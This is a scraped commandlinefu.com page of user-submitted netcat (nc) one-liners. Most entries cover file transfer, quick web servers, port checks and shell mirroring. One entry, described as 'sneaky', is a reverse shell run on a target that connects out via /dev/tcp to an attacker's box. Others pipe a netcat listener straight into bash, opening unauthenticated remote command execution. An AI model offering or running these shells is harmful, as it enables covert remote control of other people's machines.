Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2011-03-12 - Confoo 2011 presentation
Slides are available from the commandlinefu presentation at Confoo 2011: http://presentations.codeinthehole.com/confoo2011/
2011-01-04 - Moderation now required for new commands
To try and put and end to the spamming, new commands require moderation before they will appear on the site.
2010-12-27 - Apologies for not banning the trolls sooner
Have been away from the interwebs over Christmas. Will be more vigilant henceforth.
2010-09-24 - OAuth and pagination problems fixed
Apologies for the delay in getting Twitter's OAuth supported. Annoying pagination gremlin also fixed.
Hide

Tags

Hide

Functions

Commands tagged nc from sorted by
Terminal - Commands tagged nc - 29 results
mkfifo /tmp/view; nc -l 9876 < /tmp/view& script -f /tmp/view
2014-06-23 05:06:13
User: snipertyler
Functions: mkfifo script
Tags: Network nc fifo
4

connect to it with any network command (including web browser - if you don't mind weird formatting)

curl 127.0.0.1:9876

nc 127.0.0.1 9876

while true; do cat "file"; done | nc -v -l 1337
2014-02-06 03:02:58
User: bknk
Functions: cat
0

A TCP server that keeps the same socket open, sending the contents of "file" repeatedly.

nc HOST PORT | tee movie.mp4 | mplayer -
2013-11-28 01:38:29
User: snipertyler
Functions: tee
7

Requires a listening port on HOST

eg. "cat movie.mp4 | nc -l 1356 " (cat movie.mp4 | nc -l PORT)

Useful if you're impatient and want to watch a movie immediately and download it at the same time without using extra bandwidth.

You can't seek (it'll crash and kill the stream) but you can pause it.

nc -kl 5432 -c 'echo -e "HTTP/1.1 200 OK\r\n$(date)\r\n\r\n";echo "<p>How are you today?</p>"'
2013-11-12 14:00:11
User: gvitalie
Functions: echo
-1

-k, --keep-open will keep connection alive, and we could exclude using 'while true'

nc is such a powerful command, it could be used instead of any OS! :p

while true; do nc -l -p 50002 | pv | tar -xf -; done
2013-05-30 07:17:23
User: bhbmaster
Functions: tar
Tags: tar nc pv
0

Do above at the Destination aka The Server.

Do the following at the Source aka The Client:

tar -cf - /srcfolder | pv | nc www.home.com 50002

If you want ETAs and stuff:

tar -cf - /srcfolder | pv -s `du -sb /srcfolder | awk '{print $1}'` | nc www.home.com 50002

If you dont care about progress bars @ server/destination:

tar -cf - /srcfolder | pv | nc www.home.com 50002

If you dont care about progress bars @ client/source:

tar -cf - /srcfolder | pv -s `du -sb /srcfolder | awk '{print $1}'` | nc www.home.com 50002

I have this in alot better detail where there is more room to talk about it on my site:

http://www.kossboss.com/linuxtarpvncssh

script -qf | tee >(nc -l -p 5000)
(echo -e "HTTP/1.1 200 Ok\n\r"; tail -f /var/log/syslog) | nc -l 1234
2013-02-09 06:15:42
User: adimania
Functions: echo tail
4

This one is tried and tested for Ubuntu 12.04. Works great for tailing any file over http.

CustomLog "|nc -u IP PORT "<134>%{%b %d %X}t %h %l %u %t \"%r\"%>s %b \"%{Referer}i\" \"%{User-agent}i\""
2012-12-26 09:32:52
User: flojb
Tags: apache nc syslog
1

Send apache log to syslog-ng server without change configuration of syslog.

Just add in httpd.conf or vhost conf.

exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
2012-11-16 02:48:01
User: somaddict
Functions: cat exec read
7

This is sneaky.

First, start a listening service on your box.

nc -l 8080 -vvv &

On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.

exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

You can send it to the background like this:

(exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) &

Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

dd if=<device> | pv | nc <target> <port>
2012-01-27 18:37:36
Functions: dd
Tags: dd nc pv 7z
8

Create an image of "device" and send it to another machine through the network ("target" and "port" sets the ip and port the stream will be sent to), outputting a progress bar

On the machine that will receive, compress and store the file, use:

nc -l -p <port> | 7z a <filename> -si -m0=lzma2 -mx=9 -ms=on

Optionally, add the -v4g switch at the end of the line in order to split the file every 4 gigabytes (or set another size: accepted suffixes are k, m and g).

The file will be compressed using 7z format, lzma2 algorithm, with maximum compression level and solid file activated.

The compression stage will be executed on the machine which will store the image. It was planned this way because the processor on that machine was faster, and being on a gigabit network, transfering the uncompressed image wasn't much of a problem.

while ( nc -l 1025 | bash &> : ) ; do : ; done &
2012-01-08 03:31:58
User: Zulu
Functions: bash
Tags: bash nc dangerous
-8

Allow to launch nc like a daemon, in background until you still stop it.

(like this command: http://www.commandlinefu.com/commands/view/9978 )

For send script or commands from the client to the server, use nc too, like that :

cat script.sh | nc server 1025

echo "service openvpn restart" | nc server 1025

The loop's inside doesn't do anything, but we can add echo -e "\nCommand received\n" .

while ( nc -l 80 < /file.htm > : ) ; do : ; done &
2012-01-02 02:17:25
User: Zulu
Tags: while nc daemon
11

Allow to launch nc like a daemon, in background until you still stop it.

You can stop it with kill %1 (jobs method) or kill PID.

The -k option can force nc to listen another connection, but if you use redirection, it will work only one time.

The loop's inside doesn't do anything, but we can imagine to send a message to screen when a connection is established

while :; do cat file.txt | nc -l 80; done
while true ; do nc -l 80 < index.html ; done
2011-08-31 15:17:33
User: ztank1013
Functions: true
13

Very simple web server listening on port 80 will serve index.html file or whatever file you like pointing your browser at http://your-IP-address/index.html for example.

If your web server is down for maintenance and you'd like to inform your visitors about it, quickly and easily, you just have to put into the index.html file the right HTML code and you are done! Of course you need to be root to run the command using port 80.

mkfifo ._b; nc -lk 4201 0<._b | /bin/bash &>._b;
2011-08-21 05:22:41
User: gt
Functions: mkfifo
Tags: bash nc mkfifo
-1

uses fifo and sets to a specific port. In this case 4201.

script -qf >(nc -ub 192.168.1.255 5000)
fuser -n tcp -s <port> && echo "+open"
lsof -i :22
nc <ip> <port> -v
nc -l -p 7777 > /dev/null
2011-01-24 00:06:45
User: kerim
1

On the another machine write this command.

pv -r /dev/zero | nc 192.168.1.1 7777

It will show live throughput between two machine.The destination machine ip is at our example 192.168.1.1

You must multiply by 8 for the network calculation.

You must install pv and netcat commands for this commands usage.

kerim@bayner.com

http://www.bayner.com/

bash -i 2>&1 | tee /dev/stderr | nc -l 5000
2010-10-20 18:32:12
User: pykler
Functions: bash tee
Tags: nc
4

Doesn't work so well if you connect from windows. Linux only sends LF where windows wants CRLF. The alternative command works better with windows, however it uses script and a named pipe.

script -qf | tee >(nc -kl 5000) >(nc -kl 5001) >(nc -kl 5002)
2010-10-11 07:55:30
User: clvv
Functions: script tee
Tags: tee pipe script nc
36

run 'nc yourip 5000', 'nc yourip 5001' or 'nc yourip 5002' elsewhere will produce an exact same mirror of your shell. This is handy when you want to show someone else some amazing stuff in your shell without giving them control over it.

nmap -p 80 hostname
nc -zw2 www.example.com 80 && echo open
2009-12-07 21:35:25
User: sputnick
Functions: echo
Tags: netcat nc
6

@putnamhill, no need if statement in that case.

&& is a AND and || is a OR

if (nc -zw2 www.example.com 80); then echo open; fi